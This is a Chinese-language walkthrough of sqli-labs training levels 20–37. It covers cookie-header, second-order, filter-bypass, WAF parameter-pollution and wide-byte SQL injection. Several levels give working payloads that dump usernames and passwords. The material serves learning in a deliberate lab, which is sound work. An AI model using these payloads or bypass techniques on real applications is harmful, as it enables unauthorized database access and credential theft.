sqli-lab题解及经验总结二
- 20.基于头部cookie的头部报错POST注入
- 21.基于错误的复杂的字符型cookie注入,单引号单括号
- 22.基于头部的Cookie报错注入,双引号
- 23.基于报错的GET型,过滤注释
- 24.二阶注入
- 25.过滤了or和and,报错注入
- 25a.过滤了and 和 or ,盲注
- 26.过滤了注释和空格的注入(26~29环境用Linux)
- 26a.过滤了空格和注释的盲注,闭合加了个)(如何判断闭合有待研究)
- 27.过滤了union和select
- 27a.过滤了union和select,双引号型(如何判断闭合有待研究)
- 28.基于错误的,有括号的单引号字符型,过滤了union和select等注入(闭合不知道怎么判断)
- 28a.基于错误的,有括号的单引号字符型,过滤了union和select等注入(闭合不知道怎么判断)
- 29.WAF,可以报错注入,也可以union注入
- 30.WAF,可以报错注入,也可以union注入
- 31.WAF,可以报错注入,也可以union注入
- 32.宽字节注入
- 33.宽字节注入
- 34.宽字节注入,post型(不能联合注入)
- 35.这里不需要闭合,正常注入即可
- 36.宽字节注入
- 37.宽字节注入,post型(不能联合注入)
20.基于头部cookie的头部报错POST注入
和第一关一样的报错payload,只是改为cookie头部注入
21.基于错误的复杂的字符型cookie注入,单引号单括号
和20关类似,只是cookie的uname值经过base64解码,所以我们需要base64编码
而且闭合变为’)
22.基于头部的Cookie报错注入,双引号
将闭合改为",base64编码
23.基于报错的GET型,过滤注释
根据id的2-1和2的结果比较可以知道,这是个字符型注入
接下来判断闭合
输入’ #
输入 ‘)空格#
仔细观察,发现报错那多了个空格
尝试把# 换成 --+
结果也是一样
我们可以判断注释符替换成了空
接下来就是判断闭合了
输入 1 1" 1") 1"))的结果都是对的
输入 1’ 1’) 的结果是错误的
假设有()闭合,可以在程序中修改,添加()
输入1’
输入 1’)
发现报错的括号在最右边
综上所述,我们可以判断这个是没有括号的闭合,而且是’引号闭合,有因为解释符被过滤,所以我们可以构造如下payload:
1’ and (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) or ‘a’='a
注:or ‘a’='a 是为了绕过后面的闭合
24.二阶注入
在登录页面创建一个admin’#账号,由于转义的关系,此账号会一admin’#的形式存放进数据库中,但是在更新该账号的时候,在从数据库取出来的那个时候,并不会发生转义。此时带入update语句中,那么就会造成二阶注入,进而修改掉admin账户的密码。
1.登录自己注册的admin’#账户
2.修改密码
3.登录admin账户,密码为修改的密码
25.过滤了or和and,报错注入
判断过滤的方法是:在id=1前加 id=and1
这里是单引号闭合
查看源码将它替换成了空
所以可以双写and 和 or即anand oorr
构造payload:
anandd (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,passwoorrd) from users)))) %23
25a.过滤了and 和 or ,盲注
同样的的绕过方式,只是是盲注
26.过滤了注释和空格的注入(26~29环境用Linux)
这里可以使用报错注入
空格绕过技巧(环境用linux,windows下apache不支持解析%0b这种类型字符,这里我去源码把空格注释掉)
需要注释,后面的闭合payload:%26%26 ‘a’ =’ (%26的编码为||)
26a.过滤了空格和注释的盲注,闭合加了个)(如何判断闭合有待研究)
关于盲注过滤注释,我不知道如何判断闭合
但存在用户名密码的输出
所以可以用联合注入
payload: %0bunion%0bselect%0b1,database(),3%0b||(‘1’)=('1
27.过滤了union和select
在前面两题的基础上过滤了union和select,但是大小写可以绕过
27a.过滤了union和select,双引号型(如何判断闭合有待研究)
28.基于错误的,有括号的单引号字符型,过滤了union和select等注入(闭合不知道怎么判断)
绕过的payload,这里需要注释掉"注释过滤"
?id=0%27) unionunion select select 1,database(),(%273%27)=(%273
28a.基于错误的,有括号的单引号字符型,过滤了union和select等注入(闭合不知道怎么判断)
这里多了个
$id= preg_replace(’/select/m’,"", $id);
把select旁边的空格和select都换成了"什么都没有"
这里可以大写select绕过
29.WAF,可以报错注入,也可以union注入
WAF的绕过思路
id=1&id=-1’
这里截取第一个id值给服务器检查,但是服务器在读取时,会以后面一个id的值为最终值
所以构造payload:
login.php?id=1&id=-1’ union select 1,database(),3 %23
30.WAF,可以报错注入,也可以union注入
这里只是把闭合的单引号改成了双引号
31.WAF,可以报错注入,也可以union注入
这里根据报错可知,在30题闭合基础上添加一个)即可(由报错可知)
32.宽字节注入
由源码可知,它把\、’、"都转义了
这里我们可以使用宽字节注入把\匹配掉
id=-1%df’ union select 1,database(),3 %23
33.宽字节注入
源码知这里使用addslashes过滤
Addslashes()
功能:单引号,双引号,反斜线与NULL前加上反斜线
和32一样过滤
34.宽字节注入,post型(不能联合注入)
%df经过url编码即可,其值为�
payload:
admin�’ and (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) #
35.这里不需要闭合,正常注入即可
36.宽字节注入
这里的过滤函数换成了
mysql_real_escape_string()
功能:转义SQL语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。为了安全起见,在像Mysql传送查询前,必须调用这个函数。
37.宽字节注入,post型(不能联合注入)
这里的过滤函数换成了
mysql_real_escape_string()
功能:转义SQL语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。为了安全起见,在像Mysql传送查询前,必须调用这个函数。